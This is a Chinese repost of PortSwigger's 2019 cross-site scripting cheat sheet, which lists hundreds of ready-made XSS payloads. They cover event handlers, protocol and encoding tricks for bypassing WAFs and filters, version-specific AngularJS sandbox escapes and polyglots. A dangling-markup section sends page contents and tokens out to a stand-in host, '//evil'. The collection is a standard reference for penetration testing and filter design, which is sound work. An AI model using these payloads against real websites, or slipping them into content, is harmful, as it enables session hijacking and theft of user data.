跨站腳本(XSS)備忘單-2019版


這是一份跨站腳本(XSS)備忘錄,收集了大量的XSS攻擊向量,包含了各種事件處理、通訊協議、特殊屬性、限制字符、編碼方式、沙箱逃逸等技巧,可以幫助滲透測試人員繞過WAF和過濾機制。

譯者注:原文由Portswigger公司的Web安全學院於2019年定期更新,對的,就是那家開發著名滲透工具Burp suite的公司,最后更新時間:2019年11月8日星期五10:58:07。

事件處理

不需要用戶交互的事件處理程序

激活元素時觸發(IE)

<a id=x tabindex=1 onactivate=alert(1)></a>

頁面打印后觸發(Chrome、Firefox、IE)

<body onafterprint=alert(1)>

CSS動畫取消時觸發(Firefox)

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>

CSS動畫結束時觸發(Chrome、Firefox、IE、Safari)

<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>

重復CSS動畫時觸發(Chrome、Firefox、IE、Safari)

<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>

CSS動畫開始時觸發(Chrome、Firefox、IE、Safari)

<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>

在激活元素之前觸發(IE)

<a id=x tabindex=1 onbeforeactivate=alert(1)></a>

在停用元素之前觸發(IE)

 <a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>

在頁面打印前觸發(Chrome、Firefox、IE)

<body onbeforeprint=alert(1)>

網址更改后觸發(Chrome)

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

svg動畫開始時觸發(Chrome、Firefox、Safari)

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

當元素失去焦點時觸發(Chrome、IE、Safari)

<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

選框彈跳時觸發(Firefox、IE)

<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>

如果資源可以播放則觸發(Chrome、Firefox、IE、Safari)

<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

加載足夠的數據以完全播放資源時觸發(Chrome、Firefox、IE、Safari)

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>

停用元素時觸發(IE)

<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>

資源播放完畢時觸發(Chrome、Firefox、IE、Safari)

<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

資源加載失敗或導致錯誤時觸發(Chrome、Firefox、IE、Safari)

<audio src/onerror=alert(1)>

選框完成時觸發(Firefox、IE)

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

當元素具有焦點時觸發(Chrome、IE、Safari)

 <a id=x tabindex=1 onfocus=alert(1)></a>

當元素具有焦點時觸發(Chrome、IE、Safari)

<a id=x tabindex=1 onfocusin=alert(1)></a>

當元素失去焦點時觸發(Chrome、IE、Safari)

<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>

如果哈希值更改,則觸發(Chrome、Firefox、IE、Safari)

<body onhashchange="alert(1)">

加載元素時觸發(Safari)

<svg><a onload=alert(1)></a>

加載第一幀時觸發(Chrome、Firefox、IE、Safari)

<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

加載元數據時觸發(Chrome、Firefox、IE、Safari)

<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>

當元素完成加載時觸發(Firefox)

<image src=validimage.png onloadend=alert(1)>

當元素開始加載時觸發(Firefox)

<image src=validimage.png onloadstart=alert(1)>

當從postMessage調用接收到消息事件時觸發(Chrome、Firefox、IE、Safari)

<body onmessage=alert(1)>

顯示頁面時觸發(Chrome、Firefox、IE、Safari)

<body onpageshow=alert(1)>

播放資源時觸發(Chrome、Firefox、IE、Safari)

<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

觸發資源正在播放(Chrome、Firefox、IE、Safari)

<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

歷史記錄更改時觸發(Chrome、Firefox、IE、Safari)

 <body onpopstate=alert(1)>

svg動畫重復時觸發(Chrome、Firefox、Safari)

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />

調整窗口大小時觸發(Chrome、Firefox、IE、Safari)

<body onresize="alert(1)">

頁面滾動時觸發(Chrome、Firefox、IE、Safari)

<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>

選框開始時觸發(Firefox、IE)

<marquee onstart=alert(1)>XSS</marquee>

更改時間軸時觸發(Chrome、Firefox、IE、Safari)

<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

展開詳細信息標簽時觸發(Chrome、Firefox、IE、Safari)

<details ontoggle=alert(1) open>test</details>

CSS過渡取消時觸發(Firefox)

<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>

CSS過渡結束時觸發(Chrome)

<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>

CSS過渡開始時觸發(Firefox)

<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a>

未履行承諾時觸發(Firefox)

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

等待數據時觸發(IE)

<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>

需要用戶交互的事件處理程序

右鍵單擊或使用鼠標中鍵時觸發(Chrome、Firefox)

<input onauxclick=alert(1)>

需要復制一段文字(Chrome、Firefox、IE、Safari)

<a onbeforecopy="alert(1)" contenteditable>test</a>

要求剪切一段文字(Chrome、Firefox、IE、Safari)

<a onbeforecut="alert(1)" contenteditable>test</a>

需要粘貼一段文字(IE)

<a onbeforepaste="alert(1)" contenteditable>test</a>

需要屬性值的變化(Chrome、Firefox、IE、Safari)

<input onchange=alert(1) value=xss>

需要點擊一下元素(Chrome、Firefox、IE、Safari)

<a onclick="alert(1)">test</a>

右鍵單擊以顯示上下文菜單時觸發(Chrome、Firefox、IE、Safari)

<a oncontextmenu="alert(1)">test</a>

需要復制一段文字(Chrome、Firefox、IE、Safari)

<a oncopy="alert(1)" contenteditable>test</a>

要求剪切一段文字(Chrome、Firefox、IE、Safari)

<a oncut="alert(1)" contenteditable>test</a>

雙擊元素時觸發(Chrome、Firefox、IE、Safari)

<a ondblclick="alert(1)">test</a>

觸發拖動元素(Chrome、Firefox、IE、Safari)

<a draggable="true" ondrag="alert(1)">test</a>

觸發拖動已在元素上完成(Chrome、Firefox、IE、Safari)

<a draggable="true" ondragend="alert(1)">test</a>

需要鼠標拖動(Chrome、Firefox、IE、Safari)

<a draggable="true" ondragenter="alert(1)">test</a>

需要鼠標拖動(Chrome、Firefox、IE、Safari)

<a draggable="true" ondragleave="alert(1)">test</a>

觸發拖動元素(Chrome、Firefox、IE、Safari)

<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>

需要鼠標拖動(Chrome、Firefox、IE、Safari)

<a draggable="true" ondragstart="alert(1)">test</a>

觸發刪除可拖動元素(Chrome、Firefox、IE、Safari)

<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>

需要作為價值的變化(Chrome、Firefox、IE、Safari)

<input oninput=alert(1) value=xss>

需要具有不滿足其約束的元素(例如必填屬性)的表單提交。(Chrome、Firefox、IE、Safari)

<form><input oninvalid=alert(1) required><input type=submit>

按下鍵時觸發(Chrome、Firefox、IE、Safari)

<a onkeydown="alert(1)" contenteditable>test</a>

按下鍵時觸發(Chrome、Firefox、IE、Safari)

<a onkeypress="alert(1)" contenteditable>test</a>

釋放按鍵時觸發(Chrome、Firefox、IE、Safari)

<a onkeyup="alert(1)" contenteditable>test</a>

按下鼠標時觸發(Chrome、Firefox、IE、Safari)

<a onmousedown="alert(1)">test</a>

當鼠標懸停在元素上時觸發(Chrome、Firefox、IE、Safari)

<a onmouseenter="alert(1)">test</a>

當鼠標移離元素時觸發(Chrome、Firefox、IE、Safari)

<a onmouseleave="alert(1)">test</a>

需要鼠標移動(Chrome、Firefox、IE、Safari)

<a onmousemove="alert(1)">test</a>

當鼠標移離元素時觸發(Chrome、Firefox、IE、Safari)

<a onmouseout="alert(1)">test</a>

需要將鼠標懸停在元素上(Chrome、Firefox、IE、Safari)

<a onmouseover="alert(1)">test</a>

釋放鼠標按鈕時觸發(Chrome、Firefox、IE、Safari)

<a onmouseup="alert(1)">test</a>

需要粘貼一段文字(Chrome、Firefox、IE、Safari)

<a onpaste="alert(1)" contenteditable>test</a>

需要點擊元素才能暫停(Chrome、Firefox、IE、Safari)

<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

需要點擊(Chrome、Firefox、IE、Safari)

<form onreset=alert(1)><input type=reset>

提交表單並且輸入具有搜索的type屬性時觸發(Chrome)

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>

需要點擊元素時間軸(Chrome、Firefox、IE、Safari)

<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

需要點擊元素時間軸(Chrome、Firefox、IE、Safari)

<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

需要選擇文字(Chrome、Firefox、IE、Safari)

<input onselect=alert(1) value="XSS" autofocus>

需要提交表單(Chrome、Firefox、IE、Safari)

<form onsubmit=alert(1)><input type=submit>

需要在頁面上的任意位置單擊並重新加載(Chrome)

<svg onunload=window.open('javascript:alert(1)')>

需要調節音量(Chrome、Firefox、IE、Safari)

<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

使用鼠標滾輪時觸發(Chrome、Firefox、IE、Safari)

<body onwheel=alert(1)>

限制字符

無括號,使用異常處理

<script>onerror=alert;throw 1</script>

無括號,無分號,使用異常處理

<script>{onerror=alert}throw 1</script>

無括號的異常處理,沒有使用表達式的半冒號

<script>throw onerror=alert,1</script>

無括號異常處理和evil

<script>throw onerror=eval,'=alert\x281\x29'</script>

無括號,在Firefox上使用異常處理和evil

<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>

無括號,使用ES6 hasInstance和instanceof與eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

無括號,使用ES6的hasInstance和instanceof以及eval

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

無括號,使用位置重定向

<script>location='javascript:alert\x281\x29'</script>

無字符串,使用位置沒有括號重定向

<script>location=name</script>

無括號,使用模板字符串

<script>alert`1`</script>

前端框架

Bootstrap onanimationstart事件


<xss class="progress-bar-animated" onanimationstart=alert(1)>

Bootstrap ontransitionend事件

<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class="carousel-inner"><xss class="carousel-item active"></xss><xss class="carousel-item"></xss></xss></xss>

通訊協議

iframe src屬性JavaScript協議

<iframe src="javascript:alert(1)">

具有JavaScript協議的對象data屬性

<object data="javascript:alert(1)">

使用JavaScript協議嵌入src屬性

<embed src="javascript:alert(1)">

標准的JavaScript協議

<a href="javascript:alert(1)">XSS</a>

不區分大小寫的協議

<a href="JaVaScript:alert(1)">XSS</a>

協議之前允許使用字符\x01- \x20

<a href="     javascript:alert(1)">XSS</a>

協議中允許使用字符\ x09,\x0a,\x0d

<a href="javas    cript:alert(1)">XSS</a>

協議名稱后在冒號前允許字符\x09,\x0a,\x0d

<a href="javas  cript:alert(1)">XSS</a>

帶有JavaScript協議的SVG中的Xlink命名空間

<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>

使用值的SVG動畫標簽

<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>

SVG動畫標簽用於

<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>

SVG設置標簽

<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>

腳本src中的數據協議

<script src="data:text/javascript,alert(1)"></script>

SVG腳本href屬性,無需關閉腳本標簽

<svg><script href="data:text/javascript,alert(1)" />

SVG使用元素Chrome/Firefox

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

帶有數據URL的導入語句

<script>import('data:text/javascript,alert(1)')</script>

具有JavaScript協議的基本標記重寫了相對URL

<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>

MathML使任何標簽都可點擊

<math><x href="javascript:alert(1)">blah

按鈕和動作

<form><button formaction=javascript:alert(1)>XSS

輸入和形式

<form><input type=submit formaction=javascript:alert(1) value=XSS>

形式與行動

<form action=javascript:alert(1)><input type=submit value=XSS>

Isindex和formaction

<isindex type=submit formaction=javascript:alert(1)>

index和action

<isindex type=submit action=javascript:alert(1)>

將元素與外部網址一起使用

<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>

其他有用的屬性

使用srcdoc屬性

<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

對實體使用srcdoc

<iframe srcdoc="&lt;img src=1 onerror=alert(1)&gt;"></iframe>

在頁面上的任何位置(甚至在表單外部)單擊提交元素

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>

隱藏的輸入:訪問鍵屬性可以在通常無法利用的元素上啟用XSS

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

鏈接元素:訪問鍵屬性可以在通常無法利用的元素上啟用XSS

<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

下載屬性可以保存當前網頁的副本

<a href=# download="filename.html">Test</a>

使用Referrerpolicy禁用引薦來源網址

<img referrerpolicy="no-referrer" src="//portswigger-labs.net">

特殊標簽

重定向到其他域

<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">

元字符集屬性UTF-7

<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-

元字符集UTF-7

<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM字符(必須在文檔開頭)1

+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM字符(必須在文檔開頭)2

+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM字符(必須在文檔開頭)3

+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM字符(必須在文檔開頭)4

+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

升級不安全的請求

<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

通過iframe沙箱禁用JavaScript

<iframe sandbox src="//portswigger-labs.net"></iframe>

禁用引薦來源

<meta name="referrer" content="no-referrer">

編碼方式

超長UTF-8

%C0%BCscript>alert(1)</script>
%E0%80%BCscript>alert(1)</script>
%F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script>
%FC%80%80%80%80%BCscript>alert(1)</script>

Unicode轉義

<script>\u0061lert(1)</script>

Unicode轉義ES6樣式

<script>\u{61}lert(1)</script>

Unicode轉義ES6樣式零填充

<script>\u{0000000061}lert(1)</script>

十六進制編碼JavaScript轉義

<script>eval('\x61lert(1)')</script>

八進制編碼

<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>

帶有可選分號的十進制編碼

<a href="&#106;avascript:alert(1)">XSS</a><a href="&#106avascript:alert(1)">XSS</a>

帶有HTML編碼的SVG腳本

<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>

帶填充零的十進制編碼

<a href="&#0000106avascript:alert(1)">XSS</a>

十六進制編碼實體

<a href="&#x6a;avascript:alert(1)">XSS</a>

如果下一個字符不是a-f0-9,則不使用分號的十六進制編碼

<a href="j&#x61vascript:alert(1)">XSS</a>
<a href="&#x6a
avascript:alert(1)">XSS</a>
<a href="&#x6a avascript:alert(1)">XSS</a>

帶填充零的十六進制編碼

<a href="&#x0000006a;avascript:alert(1)">XSS</a>

十六進制編碼不區分大小寫

<a href="&#X6A;avascript:alert(1)">XSS</a>

HTML實體

<a href="javascript&colon;alert(1)">XSS</a>
<a href="java&Tab;script:alert(1)">XSS</a>
<a href="java&NewLine;script:alert(1)">XSS</a>
<a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>

網址編碼

<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

HTML實體和URL編碼

<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>

混淆

Firefox在&之后允許NULL

<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>

Firefox允許在命名實體內使用NULL

<a href="javascript&colon;alert(1)">Firefox</a>

Firefox在開頭的注釋中允許使用NULL字符


<!-- ><img title="--><iframe/onload=alert(1)>"> -->
<!-- ><img title="--><iframe/onload=alert(1)>"> -->

帶有base64的腳本src中的數據協議

<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>

客戶端模板注入

AngularJS沙箱逃逸

版本:1.0.1-1.1.5

{{constructor.constructor('alert(1)')()}}

版本:1.0.1-1.1.5(較短)

{{$on.constructor('alert(1)')()}}

版本:1.2.0-1.2.1

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

版本:1.2.2-1.2.5

{{{}.")));alert(1)//"}}

版本:1.2.6-1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

版本:1.2.19-1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

版本:1.2.24-1.2.29

{{{}.")));alert(1)//"}}

版本:1.2.27-1.2.29/1.3.0-1.3.20

{{{}.")));alert(1)//"}}

版本:1.3.0

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}

版本:1.3.3-1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}

版本:1.3.19

{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}

版本:1.3.20

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

版本:1.4.0-1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

版本:1.5.0-1.5.8

{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}

版本:1.5.9-1.5.11

{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}

版本:> = 1.6.0

{{constructor.constructor('alert(1)')()}}

版本:> = 1.6.0(較短)

{{$on.constructor('alert(1)')()}}

基於DOM的AngularJS沙箱逃逸

所有版本(Chrome)

<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">

所有版本(Chrome)較短

<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>

所有版本(所有瀏覽器)都較短

<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">

版本:1.2.0-1.5.0

<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>

無腳本攻擊

背景屬性

<body background="//evil?
<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?

鏈接href樣式表

<link rel=stylesheet href="//evil?

鏈接href圖標

<link rel=icon href="//evil?

Meta刷新

<meta http-equiv="refresh" content="0; http://evil?

Img通過src屬性傳遞標記

<img src="//evil?
<image src="//evil?

使用track元素的視頻

<video><track default src="//evil?

使用sourcr元素和src屬性的視頻

<video><source src="//evil?

使用source元素和src屬性的音頻

<audio><source src="//evil?

輸入src

<input type=image src="//evil?

使用formaction的按鈕

<form><button style="width:100%;height:100%" type=submit formaction="//evil?

使用formaction輸入

 <form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?

表單使用action

<button form=x style="width:100%;height:100%;"><form id=x action="//evil?

使用src屬性的Isindex

<isindex type=image src="//evil?

Isindex使用submit

<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?

Object data

<object data="//evil?

iframe src

<iframe src="//evil?

Embed src

<embed src="//evil?

使用textarea標記並發布到外部站點

<form><button formaction=//evil>XSS</button><textarea name=x>

使用表單目標通過window.name傳遞標記數據

<button form=x>XSS</button><form id=x action=//evil target='

使用基本目標通過window.name傳遞標記數據

<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="

使用formtarget通過window.name傳遞標記數據

<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="

使用基本href傳遞數據

<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/

使用embed src從頁面傳遞數據

<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

使用iframe窗口名稱從頁面傳遞數據

<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

使用object窗口名稱從頁面傳遞數據

<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

使用frameset窗口名稱從頁面傳遞數據

<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

多語言有效載荷

多語言有效載荷1

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

多語言有效載荷2

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"
 onmouseover=/*&lt;svg/*/onload=alert()//>

經典向量(XSS加密)

具有JavaScript協議的Image src

<img src="javascript:alert(1)">

帶有JavaScript協議的正文背景

<body background="javascript:alert(1)">

隨着現代瀏覽器使用空來源,iframe數據網址不再起作用

<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">

用於IE的VBScript協議

<a href="vbscript:MsgBox+1">XSS</a>
<a href="#" onclick="vbs:Msgbox+1">XSS</a>
<a href="#" onclick="VBS:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>
<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>

JScript compact是JS的最小版本,未在IE中廣泛使用

<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>

JScript.Encode允許編碼的JavaScript

<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>

VBScript.Encoded允許編碼的VBScript

<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>

用於Netscape Navigator的JavaScript實體

<a title="&{alert(1)}">XSS</a>

Netscape Navigator曾經支持JavaScript樣式表

<link href="xss.js" rel=stylesheet type="text/javascript">

用於消耗標記的按鈕

<form><button name=x formaction=x><b>stealme

IE9選擇元素和純文本用於消耗標記

<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>

僅限XBL Firefox <= 2

<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">

XBL也使用數據URL在FF3.5中工作

<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22 http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js %22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20 document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />

CSS表達式<= IE7

<div style=xss:expression(alert(1))>
<div style=xss:expression(1)-alert(1)>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\006e(alert(1))>
<div style=xss:expressio\00006e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio&#x5c;6e(alert(1))>

在怪癖模式下,IE允許您使用=代替:

<div style=xss=expression(alert(1))>
<div style="color&#x3dred">test</div>

IE較舊模式的行為

<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>

IE中較舊版本的函數中支持的事件處理程序

<script>
function window.onload(){
alert(1);
}
</script>
<script>
function window::onload(){
alert(1);
}
</script>
<script>
function window.location(){
}
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>

GreyMagic HTML + time漏洞利用(即使在5 docmode下也不再起作用)

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>

原文地址:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM